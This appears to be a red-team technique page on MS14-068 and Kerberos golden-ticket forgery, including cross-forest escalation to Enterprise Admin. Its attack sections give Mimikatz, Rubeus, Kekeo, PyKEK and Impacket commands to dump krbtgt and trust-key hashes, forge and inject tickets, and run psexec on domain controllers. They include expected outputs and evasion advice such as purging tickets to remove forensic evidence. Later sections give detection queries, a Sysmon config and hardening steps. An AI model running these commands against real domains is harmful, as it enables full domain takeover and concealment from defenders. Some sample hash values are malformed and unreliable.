| Attribute | Details |
|---|---|
| Technique ID | CA-KERB-013 |
| MITRE ATT&CK v18.1 | T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket |
| Tactic | Credential Access, Lateral Movement, Privilege Escalation |
| Platforms | Windows AD (Cross-Forest Trust Exploitation) |
| Severity | CRITICAL |
| CVE | CVE-2014-6324 (MS14-068 Kerberos PAC Validation Bypass) |
| Technique Status | ACTIVE (Server 2008 R2 and below) / PARTIAL (Server 2012+) |
| Last Verified | 2025-01-06 |
| Affected Versions | Windows Server 2003 SP2 - 2012 R2 |
| Patched In | MS14-068 (November 18, 2014) - KB3011780 |
| Author | SERVTEP – Artur Pchelnikau |
Note: Section 6 (Atomic Red Team) and Section 8 (Splunk Detection Rules) included with verified test IDs and enterprise detection queries. All sections retain full applicability for cross-forest Kerberos attack scenarios. Section numbering is sequential (1-17) as all components apply to this critical domain trust exploitation technique.
Concept: CVE-2014-6324 is a critical Kerberos vulnerability affecting Windows domain controllers running Server 2008 R2 and earlier (with degraded but exploitable impact on Server 2012+). The vulnerability resides in the KDC’s (Key Distribution Center) validation of the Privilege Attribute Certificate (PAC) embedded in Kerberos ticket-granting tickets (TGTs). An attacker with domain user credentials can craft a forged TGT by manipulating the PAC checksum, allowing arbitrary privilege escalation to domain administrator within the same domain. When combined with cross-forest trust relationships and inter-realm key compromise, this enables forest-spanning privilege escalation through trust key reuse—an attacker in one forest can escalate to Enterprise Admins in a trusted parent forest by forging tickets signed with the compromised inter-realm trust key (KRBTGT account from the trusted forest).
Attack Surface: The vulnerability is exploitable on the KDC directly (network-accessible port 88/UDP-TCP), requiring only valid domain credentials for initial compromise. Once the KRBTGT account’s password hash is obtained (via DCSync, NTDS.DIT dump, or credential extraction), inter-realm trust keys stored on domain controllers enable cross-forest ticket forgery.
Business Impact: Complete forest compromise. An attacker escalating through this vector obtains unrestricted domain administrator privileges, enabling persistent access, credential harvesting from all domain members, account manipulation, sensitive data exfiltration, and lateral movement across the entire forest and trusted partners. Remediation requires complete domain rebuild—partial mitigations (KRBTGT password resets) do not guarantee the attacker’s removal if they have achieved sustained administrative access.
Technical Context: The attack typically takes 5-30 minutes from initial domain user access to domain admin impersonation. Detection likelihood is moderate-to-high if proper audit logging and modern EDR tools are deployed, as exploitation generates detectable Kerberos event log anomalies (mismatched Security IDs in Event 4768/4769, forged PAC signatures, unusual ticket lifetimes). However, many environments with legacy infrastructure or disabled Kerberos auditing will not detect this activity.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmarks | 5.2.2.3, 5.2.3.9 | Domain Controllers - Kerberos Policy Configuration, Event Log Monitoring |
| DISA STIG | WN10-AU-000095, WN10-CC-000165 | Audit Kerberos service ticket operations, Enable Credential Guard |
| CISA SCuBA | UC-1.1, UC-1.2 | User Credential Management - Non-Admin Account Auditing, Multi-Factor Authentication |
| NIST 800-53 | AC-3 (Access Enforcement), AU-12 (Audit Generation), IA-2 (Authentication) | Account-based access controls, Comprehensive audit logging, Strong authentication |
| GDPR | Art. 32 (Security of Processing) | Adequate technical measures to prevent unauthorized access and credential compromise |
| DORA | Art. 9 (Protection and Prevention), Art. 13 (Attack Testing) | Competence of personnel, regular security assessments and penetration testing |
| NIS2 | Art. 21 (Cyber Risk Management), Art. 25 (Incident Response) | Defensive measures against exploitation, detection and response protocols |
| ISO 27001 | A.9.2.3 (Management of Privileged Access Rights), A.10.2.1 (User Access Management) | Strict control of privileged accounts, audit of access and privilege elevation |
| ISO 27005 | Risk Scenario: “Compromise of Authentication Infrastructure” | Kerberos infrastructure failure scenarios and remediation procedures |
Supported Versions:
PowerShell Version: PowerShell 3.0+ (for scripted exploitation with Invoke-Mimikatz or Rubeus invocation).
Tools:
Objective: Verify the domain’s Windows Server version and whether MS14-068 patch (KB3011780) is installed. Unpatched Server 2008 R2 and earlier are directly exploitable; Server 2012+ requires advanced techniques.
Command (PowerShell - Any Domain Member):
# Check domain functional level
Get-ADDomain | Select-Object Name, DomainMode
# List domain controllers and their OS versions (requires RSAT or Admin)
Get-ADDomainController -Filter * | Select-Object Hostname, OperatingSystem, OperatingSystemVersion
# Check for KB3011780 patch on a specific DC (requires WinRM access)
$dc = "DC01.domain.local"
Invoke-Command -ComputerName $dc -ScriptBlock {
Get-HotFix -Id "KB3011780" -ErrorAction SilentlyContinue | Select-Object PSComputerName, HotFixID, InstalledDate
}
What to Look For:
Version Note: The exploitation path differs significantly based on Windows version:
Objective: Identify cross-forest trust relationships and obtain inter-realm trust keys, which are needed for cross-forest ticket forgery.
Command (PowerShell - Requires Admin on DC or DCSync Rights):
# Enumerate trusts from current domain
Get-ADTrust -Filter * | Select-Object Name, Target, Direction, TrustType, TrustAttributes
# Get detailed trust information
Get-ADTrust -Filter * -Properties * | Select-Object Name, Target, Direction, TrustType, TrustAttributes, TrustsTransitivity
# List all forest trusts (external and forest-transitive)
Get-ADTrust -Filter { (TrustAttributes -like "*TRANSITIVE*") } | Select-Object Name, Target, Direction
Using Mimikatz to Extract Inter-Realm Trust Keys (Requires Admin on DC):
mimikatz # privilege::debug
mimikatz # lsadump::trust /patch
Expected Output (Example):
Trust account: child$ (1004)
NTLM: cc36cf7a8546f1c6d72c0c33ee98cb63
AES-128: d43ee37a7ac9c5a6b5c72a0e1f2d3c4b
AES-256: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2
What to Look For:
Command (Server 2012+):
# Query trusts using .NET to identify trust transitivity
[System.DirectoryServices.DirectoryContext]::CreateDirectoryContext("Forest", "domain.local") | Get-ADTrust
Supported Versions: Server 2008 R2 - 2012 R2
This method uses Mimikatz to forge a golden ticket and inject it into the current logon session. It is the most direct and widely-used exploitation technique.
Objective: Obtain the NTLM or AES hash of the krbtgt account. This is the cryptographic key used to sign all TGTs in the domain.
Version Note: Method varies by how the compromise occurred (DCSync, memory dump, or credential access).
Command (Via DCSync - Requires Domain Replication Rights):
# Using Mimikatz DCSync to extract krbtgt hash
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt
# Alternative: Using secretsdump.py (Impacket, Linux)
python3 secretsdump.py -just-dc DOMAIN.LOCAL/user:password@DC.DOMAIN.LOCAL
Expected Output:
[*] Dumping the following objects in DOMAIN.LOCAL
krbtgt:krbtgt
Hash NTLM: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
Hash AES256: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2
Command (Via Memory Dump of LSASS):
# Using Mimikatz logonpasswords after obtaining admin rights
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords | findstr /i "krbtgt"
# Or use Rubeus to extract cached Kerberos keys
Rubeus.exe dump /service:krbtgt
OpSec & Evasion:
Troubleshooting:
References:
Objective: Create a forged TGT impersonating a high-privilege user (e.g., Administrator) or a non-existent user with Enterprise Admin SID in a parent forest (for cross-forest escalation).
Command (Basic - Local Domain Admin Impersonation):
# Get domain SID first
Get-ADDomain | Select-Object DomainSID
# Forge golden ticket impersonating Administrator
mimikatz # kerberos::golden /domain:DOMAIN.LOCAL /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX /rc4:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 /user:Administrator /ticket:admin.kirbi
# Or with AES256 (more OPSEC-safe)
mimikatz # kerberos::golden /domain:DOMAIN.LOCAL /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX /aes256:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2 /user:Administrator /ticket:admin.kirbi
Expected Output:
User : Administrator
Domain : DOMAIN.LOCAL (DOMAIN)
SID : S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
Lifetime : 01/06/2026 12:00:00 ; 01/13/2026 12:00:00 ; 01/13/2026 12:00:00
-> Ticket : admin.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
Command (Cross-Forest Escalation - Parent Forest Enterprise Admin):
# Forge ticket with Enterprise Admin SID from parent forest
# Parent forest SID: S-1-5-21-PARENT-PARENT-PARENT
# Enterprise Admin RID: 519
mimikatz # kerberos::golden /domain:CHILD.DOMAIN.LOCAL /sid:S-1-5-21-CHILD-CHILD-CHILD /sids:S-1-5-21-PARENT-PARENT-PARENT-519 /rc4:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 /user:Administrator /ticket:forest_escalation.kirbi
OpSec & Evasion:
/endin:10 (10 hours) to avoid suspicion.runas /netonly to avoid overwriting the current user’s TGT in the session.Troubleshooting:
Get-ADDomain | Select-Object DomainSID and Get-ADUser Administrator | Select-Object ObjectSID)./sids parameter.References:
Objective: Load the forged ticket into the Kerberos cache of the current logon session, allowing access to resources authenticated with the forged identity.
Command (Inject into Current Session):
# Inject ticket directly (overwrites current TGT)
mimikatz # kerberos::ptt admin.kirbi
# Verify ticket was injected
mimikatz # kerberos::list
Expected Output:
[00000000] - 0x00000001 - NTLM
Start/End/MaxRenew: 01/06/2026 12:00:00 ; 01/13/2026 12:00:00 ; 01/13/2026 12:00:00
Service Name (SPN) : krbtgt/DOMAIN.LOCAL
Target Name (DN) : DOMAIN.LOCAL
Client Name : Administrator
Flags 40a00000 : pre_authent, renewable, forwardable
Command (Inject into Sacrificial Process via runas /netonly - Safer):
# Create batch file to inject and execute commands in sacrificial session
@"
@echo off
cd C:\tools
mimikatz.exe kerberos::ptt admin.kirbi
REM Now perform actions with the forged ticket
dir \\DC01.DOMAIN.LOCAL\C$
net use \\DC01.DOMAIN.LOCAL\ADMIN$
REM etc.
pause
"@ | Out-File -FilePath inject.bat -Encoding OEM
# Run in sacrificial session (does not require admin on local machine, but session will use forged ticket)
echo foo | runas /netonly /user:DOMAIN.LOCAL\FakeUser "C:\tools\inject.bat"
OpSec & Evasion:
/netonly is strongly recommended because it avoids overwriting the current user’s TGT and leaving a history in the Kerberos cache.kerberos::purge to remove forensic evidence.Troubleshooting:
References:
Supported Versions: Server 2008 R2 - 2012 R2, with improved OPSEC on Server 2016+
Rubeus is a modern C# implementation offering advantages over Mimikatz: no LSASS manipulation required, AES encryption support for stealth, and built-in ticket injection without overwriting the current session.
Command:
# Use Impacket secretsdump or Mimikatz DCSync
python3 secretsdump.py -just-dc-user krbtgt DOMAIN.LOCAL/user:password@DC.DOMAIN.LOCAL
Objective: Create a golden ticket using Rubeus, with optional LDAP querying for automatic PAC construction.
Command (Using /ldap for Automatic PAC Generation):
# Rubeus golden with LDAP
Rubeus.exe golden /aes256:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2 /user:Administrator /ldap /ptt
# Print the command that was used (for documentation/reproducibility)
Rubeus.exe golden /aes256:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2 /user:Administrator /ldap /printcmd /outfile:golden.kirbi
Expected Output:
[*] Forged a TGT for 'Administrator@domain.local'
[*] AuthTime : 06/01/2026 12:00:00
[*] StartTime : 06/01/2026 12:00:00
[*] EndTime : 06/01/2026 22:00:00
[*] RenewTill : 13/01/2026 12:00:00
[*] base64(ticket.kirbi): doIFdTCCBXGgAwIBBaEDAgEWooIE...
[+] Ticket successfully imported!
Command (With Explicit SID and Group Overrides - Cross-Forest):
# Forge with explicit values for parent forest Enterprise Admin escalation
Rubeus.exe golden /aes256:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2 `
/user:Administrator `
/domain:CHILD.DOMAIN.LOCAL `
/sid:S-1-5-21-CHILD-CHILD-CHILD `
/sids:S-1-5-21-PARENT-PARENT-PARENT-519 `
/outfile:cross_forest.kirbi `
/ptt
OpSec & Evasion:
/opsec flag to request tickets in a more “normal” manner (no pre-auth first attempt)./aes256:...) instead of RC4 for stealth.Troubleshooting:
/sid, /domain, and /groups parameters instead of using /ldap.References:
Objective: Use the injected golden ticket to authenticate to domain resources without needing the original user’s password.
Command:
# With ticket injected via /ptt, access domain resources directly
dir \\DC01.DOMAIN.LOCAL\C$
net use \\DC01.DOMAIN.LOCAL\ADMIN$
whoami /user # Should show DOMAIN\Administrator
# Or extract a service ticket for specific resource
Rubeus.exe asktgs /ticket:golden.kirbi /service:CIFS/DC01.DOMAIN.LOCAL /dc:DC01.DOMAIN.LOCAL
OpSec & Evasion:
Supported Versions: Server 2008 R2 - 2012 R2
Kekeo is the predecessor to Rubeus and is specialized for inter-realm (cross-forest) Kerberos exploitation. It focuses on forging tickets signed with inter-realm trust keys.
Objective: Obtain the password hash of the inter-realm trust account from a compromised DC.
Command (Mimikatz):
mimikatz # privilege::debug
mimikatz # lsadump::trust /patch
# Output example:
# Trust account: child$
# NTLM: cc36cf7a8546f1c6d72c0c33ee98cb63
# AES-256: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2
Objective: Create a cross-forest TGT that will be trusted by the parent forest.
Command:
# Kekeo syntax for inter-realm trust ticket
kekeo # tgt::ask /user:Administrator /domain:CHILD.DOMAIN.LOCAL /rc4:cc36cf7a8546f1c6d72c0c33ee98cb63
# Forge the trust ticket
kekeo # tgt::forge /ForestTrust /user:Administrator@PARENT.DOMAIN.LOCAL /domain:CHILD.DOMAIN.LOCAL /rc4:cc36cf7a8546f1c6d72c0c33ee98cb63 /ticket:trust.kirbi
# Inject into current session
kekeo # tgt::inject /ticket:trust.kirbi
Expected Output:
[*] Building trust ticket for cross-forest elevation
[*] User : Administrator
[*] Domain : CHILD.DOMAIN.LOCAL
[*] Trust Key RC4: cc36cf7a8546f1c6d72c0c33ee98cb63
[+] Trust ticket forged successfully
[+] Ticket injected into current session
OpSec & Evasion:
References:
Supported Versions: Server 2003 SP2 - 2008 R2 (not effective on Server 2012+)
PyKEK automates the MS14-068 exploitation by directly forging a TGT that bypasses PAC validation on vulnerable DCs.
Objective: Collect domain SID, user SID, and domain controller address.
Command (Linux - Impacket):
# Enumerate domain info
python3 -m impacket.GetNPUsers -no-pass DOMAIN.LOCAL/ -dc-ip DC.DOMAIN.LOCAL
# Get user and domain SID
python3 -c "
from impacket.examples import secretsdump
import sys
secretsdump.main(['DOMAIN.LOCAL/user:password@DC.DOMAIN.LOCAL', '-just-dc-user', 'krbtgt'])
"
Objective: Run the MS14-068 exploit to forge a high-privilege TGT.
Command (Python 2 - Critical Requirement):
# Download PyKEK
git clone https://github.com/bidord/pykek.git
cd pykek
# Run the exploit
# Syntax: ms14-068.py -u <user>@<domain> -s <user_sid> -d <dc_ip>
python2 ms14-068.py -u normaluser@DOMAIN.LOCAL -s S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-1111 -d DC.DOMAIN.LOCAL
# The tool will prompt for password, then generate the KRBTGT ticket
Expected Output:
[*] Current date: 2025-01-06 12:00:00
[*] Building AS-REQ... ok
[*] Sending AS-REQ... ok
[*] Validating AS-REP... ok
[*] Building TGT from AS-REP... ok
[*] Generating timestamp... ok
[*] Building AS-REQ with SIDHistory... ok
[*] Generating TGT with privilege escalation... ok
[*] Writing TGT to file: DOMAIN.LOCAL_krbtgt.ccache
Command (Inject into Linux Kerberos Cache):
export KRB5CCNAME=/tmp/DOMAIN.LOCAL_krbtgt.ccache
kinit -c $KRB5CCNAME -R
# Use with psexec or other tools
python3 -m impacket.psexec -k -no-pass DOMAIN.LOCAL/Administrator@DC.DOMAIN.LOCAL
OpSec & Evasion:
Troubleshooting:
References:
Supported Versions: All (via custom ticket construction)
Impacket’s ticketer.py allows direct construction of Kerberos tickets with full control over PAC contents, useful for cross-forest scenarios.
Objective: Extract KRBTGT from child domain and parent forest Enterprise Admin SID.
Command:
# Extract KRBTGT hash from child domain
python3 -m impacket.secretsdump -just-dc-user krbtgt DOMAIN.LOCAL/user:password@DC.DOMAIN.LOCAL
# Get parent forest SID (if accessible)
ldapsearch -H ldap://DC.PARENT.DOMAIN.LOCAL -b "DC=PARENT,DC=DOMAIN,DC=LOCAL" objectSid=* # via LDAP query or known from reconnaissance
Objective: Create a golden ticket with Enterprise Admin SID for parent forest compromise.
Command:
python3 -m impacket.ticketer `
-domain CHILD.DOMAIN.LOCAL `
-domain-sid S-1-5-21-CHILD-CHILD-CHILD `
-user Administrator `
-nthash a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2 `
-extra-sid S-1-5-21-PARENT-PARENT-PARENT-519 `
child_to_parent.ccache
# Export for use
export KRB5CCNAME=child_to_parent.ccache
# Access parent forest resources
python3 -m impacket.psexec -k -no-pass PARENT.DOMAIN.LOCAL/Administrator@DC.PARENT.DOMAIN.LOCAL
OpSec & Evasion:
Command (PowerShell):
# Test 1: Mimikatz Golden Ticket
Invoke-AtomicTest T1558.001 -TestNumbers 1 -AtomicDirectory "C:\AtomicRedTeam\atomics" -Verbose
# Test 2: Rubeus Golden Ticket
Invoke-AtomicTest T1558.001 -TestNumbers 2 -AtomicDirectory "C:\AtomicRedTeam\atomics" -Verbose
Expected Behavior:
klist shows TGT for Administratordir \\domain.local\SYSVOL succeeds (on vulnerable DCs) or returns “Access is denied” (on patched DCs)Cleanup Command:
# Remove atomic test artifacts
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore
klist purge
Reference: Atomic Red Team T1558.001
Version: 2.1+
Minimum Version: 2.0 (Golden Ticket functionality)
Supported Platforms: Windows (32-bit and 64-bit)
Installation:
# Download from GitHub
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip" -OutFile "mimikatz.zip"
Expand-Archive -Path "mimikatz.zip" -DestinationPath "C:\Tools\"
Usage (Golden Ticket Module):
mimikatz.exe
mimikatz # privilege::debug
mimikatz # kerberos::golden /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /rc4:HASH /user:Administrator /ticket:admin.kirbi
mimikatz # kerberos::ptt admin.kirbi
mimikatz # kerberos::list
Version-Specific Notes:
Version: 1.6+
Minimum Version: 1.0 (but 1.6+ recommended for production use)
Supported Platforms: Windows (.NET 4.5+)
Installation:
# Download pre-compiled binary (NOT recommended for operational security)
Invoke-WebRequest -Uri "https://github.com/GhostPack/Rubeus/releases/download/v2.0.0/Rubeus.exe" -OutFile "C:\Tools\Rubeus.exe"
# Or compile from source
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
# Use Visual Studio or MSBuild to compile
msbuild Rubeus.sln /p:Configuration=Release
Usage:
Rubeus.exe golden /aes256:HASH /user:Administrator /ldap /ptt
Rubeus.exe asktgs /ticket:golden.kirbi /service:CIFS/DC.DOMAIN.LOCAL
Version-Specific Notes:
Version: 1.0+
Supported Platforms: Windows
Installation:
# Download
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/kekeo/releases/download/1.0/kekeo.exe" -OutFile "C:\Tools\kekeo.exe"
Usage:
kekeo # tgt::ask /user:user /domain:DOMAIN.LOCAL /password:PASSWORD
kekeo # tgt::forge /ForestTrust /user:Administrator@PARENT.DOMAIN.LOCAL /domain:CHILD.DOMAIN.LOCAL /rc4:HASH /ticket:trust.kirbi
kekeo # tgt::inject /ticket:trust.kirbi
Version: Latest (Python 2 required)
Supported Platforms: Linux, Windows (with Python 2.7)
Installation:
git clone https://github.com/bidord/pykek.git
cd pykek
# Requires Python 2.7 and dependencies: pycrypto, impacket
pip2 install pycrypto impacket
Usage:
python2 ms14-068.py -u user@DOMAIN.LOCAL -s S-1-5-21-... -d DC.DOMAIN.LOCAL
Version: 0.10.0+
Supported Platforms: Linux, macOS, Windows (Python 3.6+)
Installation:
pip3 install impacket
# Or
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
Usage:
python3 -m impacket.secretsdump DOMAIN.LOCAL/user:password@DC.DOMAIN.LOCAL -just-dc-user krbtgt
python3 -m impacket.ticketer -domain CHILD.DOMAIN.LOCAL -domain-sid S-1-5-21-... -user Administrator -nthash HASH -extra-sid S-1-5-21-...-519 output.ccache
Rule Configuration:
wineventlog (or Windows Security event logs forwarded to Splunk)XmlWinEventLog:Security or WinEventLog:SecurityEventCode, Security_ID, Account_Name, ServiceNameSPL Query:
index=wineventlog source="WinEventLog:Security" EventCode=4768
| where Security_ID != Account_Name
| stats count by host, Account_Name, Security_ID, TargetUserName, Service
| where count > 0
What This Detects:
Manual Configuration Steps (Splunk):
False Positive Analysis:
Source: Microsoft Event 4768 Reference, AD Security Blog
Rule Configuration:
wineventlogWinEventLog:SecurityEventCode, FailureCode, ServiceSPL Query:
index=wineventlog source="WinEventLog:Security" EventCode=4769 FailureCode="0xF"
| timechart count by host
| where count > 1
What This Detects:
Manual Configuration Steps:
False Positive Analysis:
Source: Microsoft Event 4769 Reference
Rule Configuration:
SecurityEvent (from Windows Security logs ingested into Sentinel)EventID, Account, Computer, TargetLogonId, PrivilegesListKQL Query:
let suspicious_privileges = SecurityEvent
| where EventID == 4672
| where PrivilegeList contains "SeDebugPrivilege" or PrivilegeList contains "SeTcbPrivilege"
| project TargetLogonId, Computer, TimeGenerated, Account;
SecurityEvent
| where EventID == 4769
| where Status == "0x0" // Successful TGS request
| join kind=inner (suspicious_privileges) on TargetLogonId, Computer
| project TimeGenerated, Account, Computer, EventID, TargetLogonId
| summarize count() by Account, Computer, bin(TimeGenerated, 5m)
| where count_ > 3
What This Detects:
SeDebugPrivilege or SeTcbPrivilege (Event 4672)—indicator of privilege escalation.Manual Configuration Steps (Azure Portal):
Golden Ticket Detection - Privilege Escalation PatternHighT1558.0015 minutes1 hourManual Configuration Steps (PowerShell - Automation):
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$rule = @{
DisplayName = "Golden Ticket Detection - Privilege Escalation"
Description = "Detects golden ticket usage via 4672+4769 correlation"
Severity = "High"
Enabled = $true
SourceType = "Scheduled"
QueryFrequency = "PT5M"
QueryPeriod = "PT1H"
Tactic = @("CredentialAccess", "LateralMovement")
}
$query = @'
let suspicious_privileges = SecurityEvent
| where EventID == 4672
| where PrivilegeList contains "SeDebugPrivilege" or PrivilegeList contains "SeTcbPrivilege"
| project TargetLogonId, Computer, TimeGenerated, Account;
SecurityEvent
| where EventID == 4769
| where Status == "0x0"
| join kind=inner (suspicious_privileges) on TargetLogonId, Computer
| project TimeGenerated, Account, Computer, EventID, TargetLogonId
| summarize count() by Account, Computer, bin(TimeGenerated, 5m)
| where count_ > 3
'@
# Create the rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName $rule.DisplayName `
-Query $query `
-QueryFrequency "PT5M" `
-QueryPeriod "PT1H" `
-Severity $rule.Severity `
-Enabled $true
Source: Microsoft Sentinel GitHub - Kerberos Rules
Rule Configuration:
SecurityEventEventID, Status, FailureCode, ProcessNameKQL Query:
SecurityEvent
| where EventID == 4769
| where FailureCode == "0xF" // KRB_AP_ERR_MODIFIED (PAC validation failure)
| project TimeGenerated, Computer, Account, TargetUserName, FailureCode, Status
| summarize count() by Computer, Account, bin(TimeGenerated, 1m)
| where count_ >= 1
What This Detects:
Manual Configuration (Azure Portal):
CVE-2014-6324 PAC Validation Failure DetectionCritical1 minutecount_ >= 1Manual Configuration Steps (Group Policy):
gpmc.msc)gpupdate /force on all DCsManual Configuration Steps (Local Policy - Server 2016+):
secpol.msc)Manual Configuration Steps (Group Policy):
gpmc.msc)gpupdate /forceNote: Event 4769 is HIGH-VOLUME in production environments. Recommend filtering to:
Status != 0x0)Manual Configuration Steps:
gpupdate /forceMinimum Sysmon Version: 13.0+
Supported Platforms: Windows
Sysmon Configuration (XML - Filter for Golden Ticket Indicators):
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Monitor for Mimikatz or Kekeo processes requesting Kerberos-related APIs -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">mimikatz;kekeo;rubeus;pykek;ticketer;asktgt;kerberos::golden</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Monitor for suspicious network activity on port 88 (Kerberos) from non-SYSTEM processes -->
<RuleGroup name="Network Connection" groupRelation="or">
<NetworkConnect onmatch="include">
<DestinationPort>88</DestinationPort>
<Image condition="excludes">lsass.exe;svchost.exe</Image>
</NetworkConnect>
</RuleGroup>
<!-- Monitor for LSASS process manipulation (Mimikatz approach) -->
<RuleGroup name="File Create" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="contains">.kirbi</TargetFilename>
</FileCreate>
</RuleGroup>
<!-- Monitor for suspicious DLL loading in LSASS (credential extraction) -->
<RuleGroup name="Image Load" groupRelation="or">
<ImageLoad onmatch="include">
<Image condition="image">lsass.exe</Image>
<ImageLoaded condition="contains any">samlib.dll;cryptdll.dll;ntdsai.dll</ImageLoaded>
</ImageLoad>
</RuleGroup>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Export-Csv -Path "C:\Logs\sysmon_events.csv"
Manual Configuration Steps (Enable Defender for Cloud):
Manual Configuration Steps (Review Alerts):
Remediation:
Reference: Microsoft Defender for Cloud - Kerberos Alerts
Applicable To: Microsoft 365 environments with Azure AD (Entra ID) integration
Connect-ExchangeOnline
Connect-AzureAD
# Search for unusual KRBTGT-related activities
Search-UnifiedAuditLog -Operations "UserLoggedIn" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -ResultSize 5000 -UserIds krbtgt* | Export-Csv -Path "C:\Audit\krbtgt_activity.csv"
# Alternative: Search for privilege elevation events
Search-UnifiedAuditLog -Operations "Modify user privilege" -StartDate (Get-Date).AddDays(-7) -FreeText "krbtgt" | Export-Csv -Path "C:\Audit\krbtgt_privilege_changes.csv"
Manual Configuration Steps (Enable Unified Audit Log):
Export Results:
# Export all results to CSV
$results = Search-UnifiedAuditLog -Operations "UserLoggedIn" -StartDate (Get-Date).AddDays(-7) -ResultSize 5000
$results | Select-Object CreationDate, UserIds, ObjectId, Operation, AuditData | Export-Csv -Path "C:\Audit\purview_export.csv" -NoTypeInformation
Action 1: Immediately Patch Domain Controllers
Applies To Versions: All unpatched systems
Manual Steps (Server 2008 R2 - 2012 R2):
wusa.exe KB3011780.msu /quiet /norestart
Get-HotFix -Id "KB3011780"
Manual Steps (Server 2016+):
Get-WindowsUpdateLog | Select-String "KB" | Select-Object -Last 10
PowerShell (Group Policy):
# Deploy patch via Group Policy
# Requires WSUS or SCCM integration
Action 2: Reset KRBTGT Account Password Twice
Applies To Versions: All (regardless of patch status; critical post-compromise)
Manual Steps:
# On Domain Controller
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).Guid -Force) -Verbose
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).Guid -Force) -Verbose
Sync-ADObject -Identity (Get-ADUser krbtgt).DistinguishedName -Source (Get-ADDomainController -Discover -Service PrimaryDC).HostName
Why Two Resets?
Action 3: Enable Comprehensive Kerberos Auditing
Applies To Versions: All
Manual Steps (Group Policy - All DCs):
gpmc.msc)gpupdate /force on all DCsPowerShell:
# Enable auditing via auditpol
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
Action: Implement SID Filtering for Domain Trusts
Applies To Versions: All (especially cross-forest trusts)
Manual Steps (Group Policy - Domain with External Trusts):
gpmc.msc)PowerShell (Per Trust):
# View trust SID filtering status
Get-ADTrust -Filter * | Select-Object Name, SIDFilteringForestAware, SIDFilteringQuarantinedDomain
# Enable SID filtering for external trust
Set-ADTrust -Identity "EXTERNAL.DOMAIN" -TrustAttributes "SIDFilteringForestAware" -Verbose
Action: Implement Conditional Access Policies
Applies To Versions: Entra ID (Azure AD) environments
Manual Steps (Azure Portal):
Additional Policy - Require Compliant Device:
Action: Restrict Kerberos Delegation
Manual Steps:
Get-ADUser -Filter { TrustedForDelegation -eq $true } | Select-Object Name, UserPrincipalName
Get-ADComputer -Filter { TrustedForDelegation -eq $true } | Select-Object Name, DNSHostName
Set-ADUser -Identity "ServiceAccount" -TrustedForDelegation $false -Verbose
Set-ADComputer -Identity "WebServer" -TrustedForDelegation $false -Verbose
Set-ADUser -Identity "ServiceAccount" -TrustedForDelegation $false -Verbose
# Then configure S4U via Active Directory Users & Computers GUI
# Or: Set-ADServiceAccount -Identity "ServiceAccount" -TrustedForDelegation $false
Action: Enable Smart Card Requirement for Sensitive Accounts
Manual Steps:
Get-ADGroupMember "Domain Admins", "Enterprise Admins" | Select-Object Name, ObjectClass
Set-ADUser -Identity "Administrator" -SmartcardLogonRequired $true -Verbose
Get-ADUser -Filter { MemberOf -RecursiveMatch "CN=Domain Admins,CN=Users,DC=domain,DC=local" } | Set-ADUser -SmartcardLogonRequired $true
# Check patch status
